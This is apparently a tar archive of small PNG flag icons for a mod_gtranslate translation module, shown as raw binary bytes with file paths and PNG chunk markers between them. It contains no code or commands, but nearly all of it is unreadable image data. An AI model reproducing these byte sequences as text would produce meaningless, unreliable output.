Z��lv��v<��r�N��:�Xz�V^y�\��>�o�[�OFyd/ԩi+{=0��V����;6�D@p�s�Dhh�o�!��0R'�6E�w���o�63��cϐ��Aٽr������9�FEUs�2�tC3R_L�<穔�hQ�&�V���yHm-��k̍��\e"��8�'�U|�2��l����K1������'��]o��޲�7��纈�/�l�5�ze�o|`�k!#h� j�	z̫!���O^kE!x�J�C�RcƿJr������Zj��2�R�`�����#���1�<8
�IEND�B`�mod_gtranslate/tmpl/lang/48/si.png000060400000004130150746170550013024 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��[lW�����:�Ʊ�4N��&@��D"���RP���
�TH<py�	T!@H\$@*U��P��B"
Q�x(�ZZ%��i�Jhn��x���kggg�>f����iԠ�"��<���?��w�s�����e���n�`�Ph~.��F�҉OU���<;�P�?Áf��`��#z` H�#���/��:@���}�����Y�`l��*�6�Yw��5��3������)��p���v�u�ն��G�G�g�KRQfO
ӤI�S��dW������pf^PPߒA1��Ǯ�}�#�c��!(���0wBn�Z�wX�~4N<�q��y�Acb	z�H��1�Gb��)��nX�
j��\Ds������إ��.4���$���!��?O�݊�d�c�}�d����S1�����a>���6�NGV�cXu�e��G:��%�g����X$V�cJ�|:�'{�u"w����\+L=�����1A�S��0��b���*u��Q!W2l~�P~űv��'_��~�p����l{ ��zлq�F�)6	�=aI���ɣB�z�
A\Ak�����$�P�JY���#�Sʇ(��rgn� ����@&�iU�DIK>�j�
C⹄ٷ�ɗ�{
:�5��\x�>��|�r�I��g�|@1��u{,�;,�~�d����	 �
Фŀ!���`�ʥ7NV�`�����z
r����ڥ۾W_S�R,L��r�S�HH��4�=hO	E ��-!��B}&�|!ϵKJcΡ�AU��C�ժr�/��A���Px�Ac��JRU�D��g
c�H0�
�|��:
���EK�@��MkolA��W�c�h0t_���X��(��QY��Va��r���(����xRq��*`��=�.S��Jï�@�DJ��q̀Q\-�%:�'a�kw�Y�
QC)Z��.e�F�zjnx�%W�Ca�p�����c��]'�U[ɹ̀:"��`h�� Q��Yc��4��=�`�
{~��0�2	�<�`��#�bkG�p��Bq5�J���/l�M���ʵ^L�x���.!���*jh�LT,:�T+1w�X�%�iet(ӍZ��h�YTJ<�+����ȭ� �"ګ����t^r�����c�R�}��ҵ�^ ��m���"���i[�j=T�ַ�=/iSŨ�3BcJQx2$�H��N=R((��O�E�����}�~�B�>7Pul��b�fTA���K�P~�|?d�+������a�u���7���c�ʪ&}�	�ҫJ��#��rhgR�`a~�Q�����W&��W�B$\>�8*���BNp��hٸ�@&^U����s#��L�l�g��PV��`\��C��x��d@��X��h��C�u��=�'Lt$_���E�Cp�K
�vX9�ݘ�=�/	/>����l�����[6z�b@R}��ua�w	�3��#Pŝ�
ZWNLJ��'m+&����e��s	w� e�?l��y��DQ��l� �aP:.�Ђ�D�A,ت2�?&PQ��A�NXs/�_���X��tJ���xf��Y����g<9R[iΐf��h%D<`���]){		i&?�M]������(d�~C�g8�k��qO����-[�P�j�\T���~��zV	K�Um&�vI}nq�ޔ
��wr�,u�`�3?�9�8x2�v����p�[1g|��9c	�L��\�XT���m�ċ�S7�=�5������`S	�;�?�}����";����M��O��7Qd��B���3��1��^K�d;x��z�%��^��vJ���ߍm����g��M߳�|�s�ј���ۓ��ڠ�������ycO��ف�U���l[Bi��d����#>}��mR���Tu9x���]fΗ��M�x��\N�����n�
��`Z��C�IEND�B`�mod_gtranslate/tmpl/lang/48/te.png000060400000002174150746170550013027 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�mod_gtranslate/tmpl/lang/48/pl.png000060400000000753150746170550013033 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FqIDATx��KN1�?ό�M�R�H��;^]U��g��I��Xě�+�?FqL��#�4����Y#I�p)�5��-;`8�]��2kU�4��@h
 ��w���P��W�	@iD�P�4���\>z�OXߣq�q��](���6��V�P5t�z�α���fr/T�W�)�V��83'�S��[�9Z&�h��Z���M�/�B��N����&�;B��T�s��=���%@���5\i�K�85�l-�
����C�'x@x>�)���j�+r l��2�+n7���$���{�L2�����<���������������CD�B� K�IEND�B`�mod_gtranslate/tmpl/lang/48/sr.png000060400000003242150746170550013040 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F(IDATx��]lW�wfvv��q�4��ĉP�4r*+�"T
Tm*�C�B��E"*�E�/ A+!EBPU	T	ZE�bZ�HHmp�ql��wv���{x��t��X�t�Z�HW�3{��>��Q"�f&�MN[���P����f"������7��w?��n�ZZO�T�����X�`��W��mnJUM��J5�^�W{_���<G����vv���Wy&H#��rU��d�%
ɒ�u��W�T�,3�,eW�F�*E��X�WI���h���+K�Q�KU�����d�h��~��O<5��:x�N4�'P��k	��Jѓq��hIB�`��^�Y�ُ3��sDSN�(Qv��`+8���kp�?�k3Z#�<�kV�
(��,��AԮ,��P�3�[pΜ��N��6�up�-@>�R�`j�1H����u����@���7�u�����t�\��~��ۃ�P����bL�B$lB�
˘'^�|���ᝄR�����J�?Σ�$�՛��<lj�k�L�����_Zi��	��p�B9��Eg2tNkėJ���7�� q�:�S����Bж�bߞx���8;��97��^��	�+�q��:�2�l�NNQ���k���1RW�Pk��[�~Sɰ�X����=l�I���/>H�e�n���ѥݏ|>�I��]� }�(6Ԕ�
��*������
������F��"5�T��j[.�E��~@���88��̿	?�]�D��p��b�em�Jb\���7yue�p���\�4���PXl�l�
���y#n�N��Ilw7�y�Յ,�x��8{qs3�0B�	m���mH��%�m��	5��!t|�+\��wp���Fa�{�(�~�H�ӖEBM94M)�)ϩ�X���- ?���Bj�ч;�ǎ�ә�09��l���2*�&�ϑ�*5�
]-�9Pݝ6�<��f3��q;ۑ0��u�՞�O�P(<U�M:vJ�@�1Y!������'����f�߽�F.Y��S�>�A�b"�F�vbc,���X���E
ύ�'���ҋ�����]L�;����4q��O���غ���m�X�u0���IX�2l2d�����<�$G�.������d��p�ON49[yQ����܍���kʨ�Uk�����i�2����<�#}�G�������z{�"n�C�������\sCHCZ��T�ᤉ�W���0�J��.�<���Z��t�������Y�W]z�374@E����Y�嫴�@�7}��c!�H	�C�H�{���?8������2��m;�k��:;�ܴ랸��u�=,>��]D�l�'^��-�<��8�1���妾��<�l�l�����{F�\�>y��'�\ϐ\�}Df���X����C
*�Z[[7��P��<�?.��M��T:��l�lv���ZR��>�#�d���'sU�7���$Z��[�ZBo4�	�U�	���6��Fہ���M��4pVQ���K���B`Am}���`��J�� �O��*IEND�B`�mod_gtranslate/tmpl/lang/48/iw.png000060400000002134150746170550013032 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��_h[e�_�MnҴ���s�X�lk�)U�)�����ž���/C��Qѽ
'{� (�e�	�v5��V+m�&M����>�v�+�k����s���=�|�9�'�RxY|x\�U��;�.��м�tggD��vimmm��+�f���io����@��-��'%~��c�t'���-J7g!��Bp��ԦT�O�k�s-�e��~���*1�T
ۑ؎�ėw\�\"*H��H,�X�D�R��z&��"%@��+1m�v=`�>\)���@\)5��UH�Q�V��\E�_�Rs&�����b�jaޒ���o\M������Q�n܄��3|?4���Ϲ��HNd+W�-���Μ�����M8�3�]$Wp�;��d�H�O�.Ha�!\�g��o�5�8�9��-1�)�{~'�w4�-ؼ�D�ζGO0������[�v�S2ž������A!xt�&N~;�D��/c�8����}�&�z`��
A�Z����R�4��2��DVE��Q�>�[S�X��p�G�NdU���m
����_{�3�>�R����P9��|����{�:�盁�U�s���L�~f'/�_�Ui7��B�6�R�^�_�8q�.f�-���΂�44�~z�#�%x�΍�8=D��$��Z� ���8#�vs��x%���.3�LS��A?��"�-���ȅ�4A�G�Ơ`:���h�W�� �DӴ��m�7]H��*�qW��wiRmz�+�G*�Z^8����\�w\���m�z������z-x`G�ۚ�����=��Uz�'�V���Z�'��_�C8���vU��X����,�$������>����+��/�N[���Нh�R������;-���0BL��X��c�%���gD���%;����e�����B\o%j!1>33�F=�L&C4�Ѓ`vv֋GC���N��c�O���:�wO`9Q���T����5oPѹ���IEND�B`�mod_gtranslate/tmpl/lang/48/su.png000060400000002336150746170550013046 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FdIDATx���kU�?wf��I����Sl�QjK��*D}2�*
}T|���j�EAPL���5H�5��ڴ�&MR�&�3s��agwf�M������Ι��;�{�=�QU*Y*\����0�Ԅc%�2	`�W�=�����|q�)4|��v�w����R��܉^��P#��޺�A�c�5����D窅׋�|��>�����(@M@Q�������Zx��07��@�p��{�����YL7�S�<�	��k��q������.s�ȵ���>h�E��dz>�_�����>?���\�.]i���r��%��<�6��<�v︅�Z��}#$B���d<T�B�$�[�(��w$�wy�K4��A!σ8+B�d�_t�����㽭��s�ۦҥGP]�PH�����Bz�ܼRm8�o+/�p�P����f�@�BZ|�r}�d\8r�N:��x�42Q��[}/��� ���L�7z8����{xs�A���K�	y`�����B��Ύ�N{[jK[N�
�#�R�Z�F8�Q�M��%����`y�X�S�v�#��*	�lU�p
X�x���c�_���uܵ �L�gVm���oi�PǫmO�-�@,��!Eyn{;��]{
����EQ�y�Wv�ݛ�m��c�5�2�@Q7�s��7x��mm�8�@A4_��J�|��FP�mj�蓇���R�4s6;�\h�҅
�:����׹ic�$��j�ZpC��\��d�Q���u����w1�ClL�q	ɦ&� ��1Q��hH�1;9J�����DU"�F���:"
{Q�2�u��}�P� �`�ܨ��^���1�ƏQC�%��/�5L-FArv���J!��]<����t�����o,A�gѠQ��y��y��CQ�4��U���4�C0z����hj�g��OK�uuu1���F��>�ԧ��W^���L%xe��T�Yf��+e5ycL�:�*�J�e�I��X�[�����d&��'=���v�E<���{��^��lYo�0��7g��]H&�$ٶq����J;�`3�4SYr8k�~^J�c%IH��/����(��7@�̿Ǜf~IEND�B`�mod_gtranslate/tmpl/lang/48/mk.png000060400000005664150746170550013035 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F:IDATx��{�]�U�k�׽w���<���nB���
��*�(Hؔ&U�PUJ�
(��"(���<�@�m��JQ@�E�F�Z 	�JZ7)I��53~�؞����k��>�g��Y�HGGsg�}ַַ���}�̸�/�U~]p
��wD@V?�����N<=�����ù����q�yk�Fe��1��!b{�g��~�g�WGP�F�/|$�x�!����ѹ� ��
�z��@`�h±w��BtV?��� �[*ܸa�мՈ����N8�`$�g��Np�{�C�*�a�͞�� 	�0����O?�,�1�I����=Z?V���c�`9�7�����ҐD���

헸vH{Fu:�\	��.1�~�$9�X.�@���c�h�YɔUHbS�D����G�F��#d����%��}0ņ�%I��_��A��	<ЮC�Uއ�f��=àiyƏ$�
��!��#��DqS�a��V�`%f0|L(_t!�WX.$G*��J��Kѡ ���a�Y�R��rȇ
\���GR�6޶��J���/H^2/
�|�����HV��ej[x�,��"(_����֏�[J�Cr�{I�oR��&�/e���T�|~%���;]%�6��Q���c
8a�/1�/�`u�V�pyr�(�gr�����OV���5B����O�X_�*\
��sUhd�Z+
�Ʊ�c��Y�����L(�nHZ�m	͊�������@�Ta�P|�1�6O�M%�F�D��OdX��z���|zN�TL.'�0Wr�c#a�xL���{��7��]�KL=G��j�|��^�5X�+(^4��қ��?����T�/��/[���_���1�Jp
��Y��P���Ϧ����H�Q�$�='KF*d���W��#B��о�${mN��9�,
�H6�ԟ3����R�	��4���9�QO�t��)�<Ҩ�b��oHbL=�x��
(6ʱ�ؓ{*�����Ǖ�c}&݈kl�P�9W0�+��U����{G����]B����ݳ�
@�W�^��!��AYV��g��{�L}0�3�"�B�`��M���(�7SM˿� �p�(X�|�v�	�-*�]ɱ�@\m�b���c�9��)8�{�
Zo��v��kB�_c��N��3GW`�C�R"M�24��׷S��C{��<nX�̛��ΎS}��:��A{�5o�3dpV�DR&�(h��B���c����GbV�<�ZP��� �^0T�(��n�p�F�_��O��L�—n��~.b�@�UA�墣:�N	�,�s�*Xw�!C�ͅ�+�?:įɶ�٪�bͷ��/�"�y$�F�ψf�h?$�蠒,(nVq��,(��-�Ͷ�!�т��nSUtTWe�%Gy����qTg��
1�AeG��k��uJ|�H)�%�Wd����B��VŃ
��ԺoZ��v�|P��q�6�����	�p���P���і��4"��>��?U��U$ԃ�_IH���[2������遑�}A��v�¥=��
�L��5��ų�����q���D�T6��1�[$��]�-�~M���,�%G�$TKF�+�(h�/DSJ�l��ks��|��Kǚ�qp#�V�R�F4�D�F4������~`=>�`Zm�O��n��jI�����a�h��Z�Ȃb8�?���֭Uhdݔۨc�M�?���k�/@��h3�uCK�p-�MѴ���т#�n��>��	�j��1@�޻�b��D��Gd��,����`�2f���>�p��)�8��Ją?IR�lq�VϭA��E(_p5�\3�N��BE�l8�+n/�[�BzD�������w7��%������S�C����D��xa�������^_��&�K7f�
�E�۶KbhQmn�u]��t[ahƏ,<�%>�,k2|�!ME"#���D�4���Koo�~�g��.�?[���c�����U3�ӭ=��1�s�ǟ�7)�[�q��05d�b�}���t����J�Ua�x��'���i���)@��nO�Z�+�VCW�񆒅{�{WNqұt{��E��iا�a�M�J�F�js7��
K��(�:����G��
]ec�]o`=f�]Y)�d�������
�>5 ��S<�8{w�r��[�Ѭ!��ь��mw�F����-ʗ��\����w��0�쾈��	�;��U���@-uɫ�����~d@4����O4}�m�F�TF��D�4X��
�J��p���I���yf���ܽ}⃊��R
`=溉��Ѭ;L
���?�g�g��-��8}���QXAmg��m�@|Pw����Ɉ3w��N9?V��}��Jt Xy�9��W $~�FjO��������>�<�/;Μ#��õw�A|�nX��^q�����5�E�U������!�${�!�nP��g��[+��Ӿ�@�dF���:x�}�!��zɇ��"	������8}b��$��M�(Xx�O�������:9�`�C#����wyt5����1�o#���8׆h�B�z!���}�3���Z_�pc��
ɍ����3��<lgGn�B�8�jMHo�L��#{C�R���OŜ}ON��^9+ >��i(l4#�ƨ�$T�J �P��p��6��
Ȏz�'���r���>(72t⎂���o�HſG���&z��4V���	�+��[��Mݬbt1B2�ۡ��…ە�:"��oȪ��H?�h4��8�G�٫�ץs�W��y�]?��+�r�k��������!�սIEND�B`�mod_gtranslate/tmpl/lang/48/ga.png000060400000001562150746170550013006 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��n�@@��nR�PB�X�c%���p�8s����n�����i�g����I�:&�EV��$;��vfvfmgft�t�m6�;@��>vE���{��޳p?���/?����+)3����w�G�=5�œ���f��y-9��_�݉���!*Ocʩ͕��&S�ƣ��f�\EO��3#ع'��rB���+j%������$--�M��}LT� P/B*�v2Mk@{0�d&xI�?2_Kƴ`j�̷`50�.U�,�g]H0����LS�y�緗	�@��)�@F�%$Y�~H�9�&�� bm�V�A��c��6��4MHR߂հ��@��Y�0�|A<��RP�-���2�\b�&ˉ���B��<�����W��*7��u6���j��"��]�S�˾�6z���-0:;m�����"��A�R�����M s��\5�5)��`vpK�¿
���A�.�a��s
��-�.���0k������hW=�
i�a��1�.�$3�����(QA��]h�盷�J-��JpΊ{W�����ý�T�.dkQ�*�b�ZX ����sXj6{�q���|B*��b��#�q���� ��
��0�F��7m�9�:�sh����l���\�l�Tq]r"7��E`�;��e{��|��Gc`rR�<0�WR�d���8�p<�X��9��K��K-&n�~����N��&�zB�IEND�B`�mod_gtranslate/tmpl/lang/48/cs.png000060400000002417150746170550013024 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��]�UU��s�tƩ�J��)I� ��0顢����� K|�ć �㥗���(�"�R�����1ut�#J�ѹ�s��ù3޹�����K�`s؜��^���k�c�,U.S���`���*dѢz��q��������nS����i�:@}��c���f�k��>{/�n��To�Oߩ~6o���sU�2$,�
�e1�	�|[7[��&�
����!�1`Y8|���<�|-�gU~��!U�"E`	����O���@U���(VT���C�ѿi}��ys�+J�$����#�@�l�&�-N�~�����tz�;A�P���$U���ǟ�D���^��i��8��h|?����c�s�q��^`ճKX���R�6i�A\O�Q���%?���w���UAT�2�ΧQ��x*�舏����ּ���7�7���W���ϱ8�q�Uk���w��/�FJ��"|�t��b��7�Ⱦγ�yq)��O�N<�� 9�� a����w�c��e���i�����F
I���1a"�>�����a���맼Ȃ��pq�CRS�mx��t��f���a�ko�vCCAh�6��]�`��`y�w^ݻq/�dƌ1�T��W(��#�#I����ݴ�]h[��f �k�R���*,T~)a��k��}���EKt��$�Ȅ*>��m�Gz ��e��X#�Q����w�MĠ8�7�\P�\�&�V��a9Q43�
H�;�~6d�x0<�+	rأ[”�B����Q����.6���x����/��YҒ�8	�mc�P�����F�_ܔ༖$3u�7s��~%�,�u�z)k�PWטt�F,{��ig��b���ٝ4�K�%��{��A�|J��z��sU��@�y>w�7r�Ԛ�AI��>Q�uu.f2���su�mj�
�6
N��0P�t!j�.,�5"��� 6��GX������Z��ڨ���;j�α&�3�^V�e*H�)4�$>�H��“l̶�0�@Z1�*H�0�XI��rn�݃Ԙ�r(3*��j��`�3{���O,� k'���U�u���©I��ӝ<|�0��4' ��Ed(�+f����.9t�梁�����2��~
��)e��F�t��BIEND�B`�mod_gtranslate/tmpl/lang/48/ml.png000060400000002174150746170550013027 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�mod_gtranslate/tmpl/lang/48/ka.png000060400000001511150746170550013004 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��Y�o�@}g;q)IS5
U�PR�X�@bgaCl,l0���_��‚X`���),��B"b;���8N��w�9�"oq���{�>�mFD�3��;�1f��yI�٬X��u�^���"������ã�Z�ܩ��h�螡�۷֢ħ��sV`����ج�h��	}�`e25��*\�\��"���ɓg������x��@��s�8J�y���3�M$��ᣅ�c�o^-W�szR��W�),�y��G���1
H3�Jv"��w���~�_�?�M^����L�8_�p�׀��K��׀�&�-�P�hH8<� o�I�����z"���E��\&Fk&p|���?sS�Ӓ*���"�/�_�y��,&Vܵ#Gf۠�hF�
��y ���Є��c�	�P����s��Є�D��3�s�D��`��+�9�a�&�����_R�Q�Y(J���0M}����ؤ.�m}
�f���DKn�K ��v�4ǘ�l��,-k ��I�O��
-s@r��@�\-N�H����'�� R�Р��V)�2*���吐�j�P��p8Yi�4�]Ø�@T�84�?#lg���q�9�T�ul%�
��j��ƙ�[�*T�2��\Z�#�
�^O�E{�A|��8p�	��3����(#���0`�/���IH>l��IEND�B`�mod_gtranslate/tmpl/lang/48/pt-br.png000060400000004765150746170550013453 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F	{IDATx��{p��?���}��$T�E
"*(�U�X�"XE;�C[��lK�ӱ:g��U:�?��eG��#���B	F��!�y�{�����I�
A������9{w�=�=��9JDȤ�t�9��`ѰH�
�}����
��z޽6Pn��0���`-@�
DEc)�A
tL�<R�DԷ�g�߉��G��8j|� �Tl$�}��)�v�����__�g��g�L�A�9�㙠x�q�N�D�|lKs��R�v�>1�q����1b�x��3ޙ��_��U��<<E�U�FNÊ��l?�"�,��h��"�|�\��!���3(�;��In�R.F�w��QQ�VN�/uR�O̶�(ѩS��W!7�?#_揬`֐��uS��@�q�P���'�C�Y��[Yhu���
|�"	�����B�#�X�sY���7�J0F�p�m(�q����4�6� ��[��1eSx��N�=C�rN@����pO�/�\�1gx��8H���3�y��q�����x`���jn�5���k)��b\r�N���e��v"��}��p|��
d�ܧ���2�$ƒ�0*�K<�b�����8A΃�AiU�ie;=�Z�����<��*�
[GR��Q�̬��_}p�����T˰�&��X�2����Nl�bL�mc�gѨU� 
��,~���GC��3���b)�N���W�SK'3�z3bc�[xl��mϳ��bi�$�Шb
Đ19���Q!��Y��+-��֢�N@����3���E&�Jy��f��9�
�<3��~��p����D�D B��70�j:��tt�t�(Տ<�"@����F��}���&
b��Z�F��Cκ��f�G:pIF"�⣕blr4�lf��]��D��\����e�T;�Y�V`L/�������6N�W�a����;Sd�F�ȥ{��<�)��t�1���(U�x^;�����M�0�\��j�+\�9�)�Vs��.�-���.a��}4���|#ɵ
�'�vKc���U^��+y��I'��U.�P���y�қ�m̓Sk�]�6M��6/r���މ���|\2¾=m��� OjEee���`�
U�y�^[�̦�m��v��M`�hQ� !�j{ˮ�d]���B���lm���lG���g�1���P]��	Z��d�e�y=!wP@W.���v�nw+_j����;j��ڡ<�t';�0� ;���c̩��f�\�ܫ%��ޒ�;���v�׎.ėr���5)���d4�� 
,+�6�<���J�QJ�cK�Ⱥ�_s����E�6����z�p���w|�|I�f�-ܽ)(�;�
�����ŭk��ki�'�0(�#�!ƎP�%��'�8Z��d]��,K��F�hlj�ղby#�=	[���a�
�V�6K���5��Ou��m�:o�>�҈"��4%�+ꛘ�B9/6ބG�@"�mu�xN�wr�XՕ%H� n.��ܜOW:G B`"ˆ�x��ۺ
��
5K\����b��5R�ı�U�_ ~B��[!aG���j#��]����JP=b6�~��DyL��$�e�1L�i��@"!u(��6L�腞��V���L��~*�^i&�N#᪇�#�b�J��|�v��	K��H��G:���巻��*�b`p�}����5CKK'��u}P����Қ&�XıpMC�Q���}9��@��Þ�L[[�(q�(������ �WbR�I
nG�D�?{{�_���陀A�t��<�>]-i2��h[�mY���iKe���9���9�����W�`�d�ڸ�-"��/=������X���<�d	��H���嘶��n�#K�qY<k��>��96�T�=���෦imig�<C��-,�n��G�\�o��3eliv)�$P�J�|#=���.�m�v�SN���3��*��/ƹ�l
Z~�)5�
��ߜ
�j:�dd=��b[>�Q�躑E���M�IF�U�E-������mPX!<�jW��(q�܀Y�R<8m!����	Tl`��
H��tp�Mgɦ&4�'�yu����0T�dā|�n�m)�]lD��m��;Q��|��V����L]8�"��q͚K�s���Xv�9N47}fW�q@�A��FA�S%8���f���F���p�Rf2?޶��W��'��,�@���J�y�Ʌ��1��-�H�?9�ڽ~�"���{��Кm�4�8k[�R�+!rj[�J	'
��7�yW���-uUl"���z&���8۫�";LioK
�#�@�D�r�1�P��K�a;��:Թ��s�8�J���h�rW+IEND�B`�mod_gtranslate/tmpl/lang/48/fi.png000060400000001307150746170550013012 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FMIDATx��?��@ƿ猝D8
lX�D��	T44��q
::n��=B�
�(�@lϟG�Mf�Ċ���~��Lf�~�y3�!f���qkZ���tt��6��h�3�p��gex��Ca����kyq~�0,[�ٓ��P����}��O)�Ζ�X��RQJ��Yu�����=%�NP	 MUc2RE������[	 Ne#�Jĕ��c �i�ej�V�_z��-n�XŇ�������~���r�P��ZI$��2�FE�1_іr�YWl���k^d��5�1�Q�� M�#Ki �.^
{��MV�_t,�`6���N�(�ǀ�q�6f
����
�5�Ae?nf�C�C%!<h�-�L��3c���r>p��R�oB�?)o�'�<�}�RJ�����{Ѭ�">l���C�8;EY;cq�g�Z�Q`�x�ȹ�Q��gM�i�*p����r�J4`��}�l9\��g�Jj�]Q�8a��ʎ�A�kΞ�ׅ��|�w�(Z��i�K"p`�ܱ(�����	Nl	��ړ��hNj�Z��b"�IEND�B`�mod_gtranslate/tmpl/lang/48/ko.png000060400000004121150746170550013022 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��YkL��~��+8+ceו�j�[ۮF�61�j4Vl%��X1f����/���Q��E���jm,^:k5od�hW�T1;0�7��r���2�`��<����y�����y�È�F9���'���ݿ�	���"j���X��4�g�I�>C�$I�e��F�z�jn|�E|��m477�U>DCC���BN����?~<n޼�@ 0���\.��� <<����|#G�s�Պ��dx�^��v�����R����ݻ�$	��(�HLL��j��i#C�����f�Ž;`6�Q[[��
EQ�E@�e�l6�\.����b�`�…�3g$I�3�)�<yB������S���'��JN��RSS�ѣG4������Tr:����E������E�6m"��9����E���t�r�
���SRRy<��ʢ���8'��=�<v�ڶo���j۹�<�O���8`0 ��N�$QRR555Qqq1mܸ�8�`��~-mmm���¥K�`�X�z�j�����r�ȑ#(**�N��Q���?���&
cHU��ٳa2�!N��(
jjj �"\�v��`�Պ��ddd`���d3$��Յ���76�
QQQHOOGZZ
>+@�;�A��k�оk��֋XO��f0�{�@7}zP�ŋa�XPRR��[�"..+V�c����G�娪*��ʐ���-[�`޼yذaC�B���?f��u�0��"U��}��)S�v���\(��ٌk׮aժU����Aw!�N���d�L&���l6�f���;@�.+�~���T�˅�;�۰ ���c111!��FC����/���c!� ���� � C����'���{S17S7���oU��i�4� 
��{�п�N!�r7~��}�[Y	��aP	�}؎�qr?҂` ������Sp��<�w����a
�p�u����� ���H��/aqHxF��3����XY��j1��J)��w��'�0j
��Dj^����@؇�i>qp"Pw1p��x\�1�7@D`���"Bܔp�{��B4~翋h.�%���}�0�q@G��d�Y�Q�/D���_�De�}�M��� �+�2*�H
�+|t�9���" ��׷m�UU��_��٘!����A�@F.?�D B����xw�$|���}$Evv����8�8�׳hmm���q������ػe	Ԁ�9���_4�����,�N^�yyy8w�ZZZPQQ2���,��z}���x<�e,@ZZ�/_������p`�ԩA��|v�b�z�{��hм
���U?
j�q�%$��_���L�\.!<<�JEQ`0�k�@ p�`0477�f������G�;����U�?�������n>�h��?�g�qa:�:�
���U�L�D��WX��{}F���E�&MBrr2�����k�b���}!��8�}>_�z��(�d�۩������)Pdd$������%�d;~���(MK�G1~B���G�=F���I^�ү_^^�8q���RRR�n��ɓ'i��ɤ(}}|>߫����h��vb�Qkk+�������֭[����搙��q�e�4����s�1ƨ���233��pP[[�F���pp_�$)d+W���K�R]]���j��ʢ��h
�J'%I"A����***���Qii)=~�x�lL��W<O�N<��H.\�3g�PTT=x���KM������v��M���������ѣd2�B>���"���9hG�/_&���D�7o&��M#���Fڵk9@�!���_�����9�Y��N�:Eo6��,ˠv ^7ԓ�1�u��!**�~Z\�lz�I�2]��`�;w�[��<cƌ�V���3
�1�0��Q�7�b��sO�?���#0F`�����\Kϸ���IEND�B`�mod_gtranslate/tmpl/lang/48/bg.png000060400000001160150746170550013001 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��K��@��nw��p&R2#$��`�w`���'�s�q
桙D��qW���/
Rµ��nW��mw;UŲy��0��ȀIu4a�<,���ju����[|��_��ܪ|��>O}%���a�҂������?��M��7
Pl	�|�j:gWL|&���Y(�����m<zqD�p8��S�@D��v��8\P�PJi�
�C+*<췦�VDc�CQ�[�-�NG-ɜ��hD�Q˞�P=��;m~�U�9h]F���NՖN]ݱ�'-%�K�G2m��`)~R��;9�X�h�փ�N�����t���>�0~����� ����hD�e��b�AU��R]�l�K���<c�x�p���P�Wҹk��j	��m��W����5�$�ӧ�3���-��Li�
��0�>>C^*�<7'�p1A��,.LD�������;N�3����v��`���k���̐qIEND�B`�mod_gtranslate/tmpl/lang/48/fr.png000060400000001655150746170550013031 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F3IDATx���n�F�C�����F GAO>��K��O}��
